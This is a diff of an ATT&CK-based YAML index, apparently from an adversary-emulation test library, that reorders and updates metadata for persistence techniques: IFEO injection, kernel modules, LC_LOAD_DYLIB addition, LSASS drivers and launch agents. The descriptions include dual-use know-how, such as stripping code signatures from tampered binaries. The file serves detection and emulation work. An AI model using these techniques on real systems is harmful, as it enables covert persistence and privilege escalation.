-      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
-        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
-          Retrieved December 18, 2017.
-        source_name: Microsoft Dev Blog IFEO Mar 2010
-      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
-        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
-          18, 2017.
-        source_name: Microsoft GFlags Mar 2017
-      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
-        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
-          Process Exit. Retrieved June 27, 2018.
-        source_name: Microsoft Silent Process Exit NOV 2017
-      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
-        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
-          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
-        source_name: Oddvar Moe IFEO APR 2018
-      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
-        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
-          Retrieved November 12, 2014.
-        source_name: Tilbury 2014
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
-        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
-          Retrieved December 18, 2017.
-        source_name: FSecure Hupigon
-      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
-        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
-          18, 2017.
-        source_name: Symantec Ushedix June 2008
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Oddvar Moe, @oddvarmoe
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)
 
         Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/012
+        external_id: T1546.012
+        source_name: mitre-attack
+      - source_name: Microsoft Dev Blog IFEO Mar 2010
+        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
+          Retrieved December 18, 2017.
+        url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
+      - source_name: Microsoft GFlags Mar 2017
+        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
+          18, 2017.
+        url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
+      - source_name: Microsoft Silent Process Exit NOV 2017
+        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
+          Process Exit. Retrieved June 27, 2018.
+        url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
+      - source_name: Oddvar Moe IFEO APR 2018
+        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
+          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
+        url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
+      - source_name: Tilbury 2014
+        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
+          Retrieved November 12, 2014.
+        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: FSecure Hupigon
+        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
+          Retrieved December 18, 2017.
+        url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
+      - source_name: Symantec Ushedix June 2008
+        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
+          18, 2017.
+        url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
       identifier: T1546.012
     atomic_tests:
     - name: IFEO Add Debugger
@@ -15152,71 +15378,30 @@ privilege-escalation:
         elevation_required: true
   T1547.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.006
-        url: https://attack.mitre.org/techniques/T1547/006
-      - source_name: Linux Kernel Programming
-        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
-        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
-          Module Programming Guide. Retrieved April 6, 2018.
-      - url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
-        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
-          Retrieved April 6, 2018.
-        source_name: Linux Kernel Module Programming Guide
-      - url: http://www.megasecurity.org/papers/Rootkits.pdf
-        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
-          April 6, 2018.
-        source_name: iDefense Rootkit Overview
-      - source_name: Apple Kernel Extension Deprecation
-        url: https://developer.apple.com/support/kernel-extensions/
-        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
-          Alternatives. Retrieved November 4, 2020.
-      - url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
-        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
-          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
-        source_name: Volatility Phalanx2
-      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
-        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
-          Retrieved December 21, 2017.
-        source_name: CrowdStrike Linux Rootkit
-      - url: https://github.com/f0rb1dd3n/Reptile
-        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
-          April 9, 2018.
-        source_name: GitHub Reptile
-      - url: https://github.com/m0nad/Diamorphine
-        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
-          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
-        source_name: GitHub Diamorphine
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
-          Retrieved April 6, 2018.
-        source_name: RSAC 2015 San Francisco Patrick Wardle
-      - url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
-        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
-          Extension Loading’ is Broken. Retrieved April 6, 2018.
-        source_name: Synack Secure Kernel Extension Broken
-      - url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
-        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
-          your MacOS spy. Retrieved April 6, 2018.'
-        source_name: Securelist Ventir
-      - source_name: Trend Micro Skidmap
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
-        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
-          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
-          Retrieved June 4, 2020.
-      - url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
-        description: Henderson, B. (2006, September 24). How To Insert And Remove
-          LKMs. Retrieved April 9, 2018.
-        source_name: Linux Loadable Kernel Module Insert and Remove LKMs
-      - url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
-        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
-          April 9, 2018.
-        source_name: Wikipedia Loadable Kernel Module
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Kernel Modules and Extensions
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'Kernel: Kernel Module Load'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T04:03:46.357Z'
+      created: '2020-01-24T17:42:23.339Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
+      x_mitre_platforms:
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - root
       description: |-
         Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) 
 
@@ -15225,37 +15410,91 @@ privilege-escalation:
         Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)
 
         Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)
-      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-03-30T00:59:53.716Z'
-      created: '2020-01-24T17:42:23.339Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - root
-      x_mitre_detection: |-
-        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
-
-        For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.
-
-        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'Kernel: Kernel Module Load'
       x_mitre_contributors:
       - Wayne Silva, F-Secure Countercept
       - Anastasios Pingios
       - Jeremy Galloway
       - Red Canary
-      x_mitre_platforms:
-      - macOS
-      - Linux
+      x_mitre_detection: |
+        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
+
+        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
+
+        On macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/006
+        external_id: T1547.006
+        source_name: mitre-attack
+      - url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
+        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
+          Module Programming Guide. Retrieved April 6, 2018.
+        source_name: Linux Kernel Programming
+      - source_name: Linux Kernel Module Programming Guide
+        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
+          Retrieved April 6, 2018.
+        url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
+      - source_name: iDefense Rootkit Overview
+        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
+          April 6, 2018.
+        url: http://www.megasecurity.org/papers/Rootkits.pdf
+      - url: https://developer.apple.com/support/kernel-extensions/
+        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
+          Alternatives. Retrieved November 4, 2020.
+        source_name: Apple Kernel Extension Deprecation
+      - source_name: Volatility Phalanx2
+        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
+          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
+        url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
+      - source_name: CrowdStrike Linux Rootkit
+        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
+          Retrieved December 21, 2017.
+        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
+      - source_name: GitHub Reptile
+        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
+          April 9, 2018.
+        url: https://github.com/f0rb1dd3n/Reptile
+      - source_name: GitHub Diamorphine
+        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
+          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
+        url: https://github.com/m0nad/Diamorphine
+      - source_name: RSAC 2015 San Francisco Patrick Wardle
+        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
+          Retrieved April 6, 2018.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: Synack Secure Kernel Extension Broken
+        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
+          Extension Loading’ is Broken. Retrieved April 6, 2018.
+        url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
+      - source_name: Securelist Ventir
+        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
+          your MacOS spy. Retrieved April 6, 2018.'
+        url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
+        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
+          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
+          Retrieved June 4, 2020.
+        source_name: Trend Micro Skidmap
+      - source_name: Linux Loadable Kernel Module Insert and Remove LKMs
+        description: Henderson, B. (2006, September 24). How To Insert And Remove
+          LKMs. Retrieved April 9, 2018.
+        url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
+      - source_name: Wikipedia Loadable Kernel Module
+        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
+          April 9, 2018.
+        url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
+      - url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
+        description: Pikeralpha. (2017, August 29). User Approved Kernel Extension
+          Loading…. Retrieved September 23, 2021.
+        source_name: User Approved Kernel Extension Pike’s
+      - url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
+        description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse
+          . Retrieved September 23, 2021.
+        source_name: Purves Kextpocalypse 2
+      - url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
+        description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved
+          September 23, 2021.
+        source_name: Apple Developer Configuration Profile
       identifier: T1547.006
     atomic_tests:
     - name: Linux - Load Kernel Module via insmod
@@ -15307,198 +15546,204 @@ privilege-escalation:
         elevation_required: true
   T1546.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.006
-        url: https://attack.mitre.org/techniques/T1546/006
-      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
-        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
-          July 10, 2017.
-        source_name: Writing Bad Malware for OSX
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
-          Retrieved July 10, 2017.
-        source_name: Malware Persistence on OS X
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: LC_LOAD_DYLIB Addition
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
-
-        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
-      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-30T00:51:58.454Z'
-      created: '2020-01-24T14:21:52.750Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: Monitor processes for those that may be used to modify binary
-        headers. Monitor file systems for changes to application binaries and invalid
-        checksums/signatures. Changes to binaries that do not line up with application
-        updates or patches are also extremely suspicious.
+      name: LC_LOAD_DYLIB Addition
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Metadata'
       - 'File: File Modification'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2021-03-30T00:51:58.454Z'
+      created: '2020-01-24T14:21:52.750Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
+
+        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_detection: Monitor processes for those that may be used to modify binary
+        headers. Monitor file systems for changes to application binaries and invalid
+        checksums/signatures. Changes to binaries that do not line up with application
+        updates or patches are also extremely suspicious.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/006
+        external_id: T1546.006
+        source_name: mitre-attack
+      - source_name: Writing Bad Malware for OSX
+        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
+          July 10, 2017.
+        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
+      - source_name: Malware Persistence on OS X
+        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
+          Retrieved July 10, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
     atomic_tests: []
   T1547.008:
     technique:
-      created: '2020-01-24T18:38:55.801Z'
-      modified: '2020-03-25T16:52:26.567Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
-      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
-      description: |-
-        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
-
-        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
+      modified: '2020-03-25T16:52:26.567Z'
       name: LSASS Driver
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.008
-        url: https://attack.mitre.org/techniques/T1547/008
-      - url: https://technet.microsoft.com/library/cc961760.aspx
-        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
-          November 27, 2017.
-        source_name: Microsoft Security Subsystem
-      - url: https://technet.microsoft.com/library/dn408187.aspx
-        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
-          Retrieved November 27, 2017.
-        source_name: Microsoft LSA Protection Mar 2014
-      - url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
-        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
-          27, 2017.
-        source_name: Microsoft DLL Security
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Vincent Le Toux
       x_mitre_data_sources:
       - 'Module: Module Load'
       - 'Driver: Driver Load'
       - 'File: File Modification'
       - 'File: File Creation'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T18:38:55.801Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
+      description: |-
+        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
+
+        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Vincent Le Toux
       x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
         3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
         Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
         (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
         utility (Citation: TechNet Autoruns) to examine loaded drivers associated
         with the LSA. "
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/008
+        external_id: T1547.008
+        source_name: mitre-attack
+      - source_name: Microsoft Security Subsystem
+        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
+          November 27, 2017.
+        url: https://technet.microsoft.com/library/cc961760.aspx
+      - source_name: Microsoft LSA Protection Mar 2014
+        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
+          Retrieved November 27, 2017.
+        url: https://technet.microsoft.com/library/dn408187.aspx
+      - source_name: Microsoft DLL Security
+        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
+          27, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1543.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.001
-        url: https://attack.mitre.org/techniques/T1543/001
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
-        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
-          code. Retrieved July 5, 2017.
-        source_name: Antiquated Mac Malware
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
-        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
-          traffic. Retrieved July 10, 2017.
-        source_name: OSX.Dok Malware
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
-      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
-        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
-          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
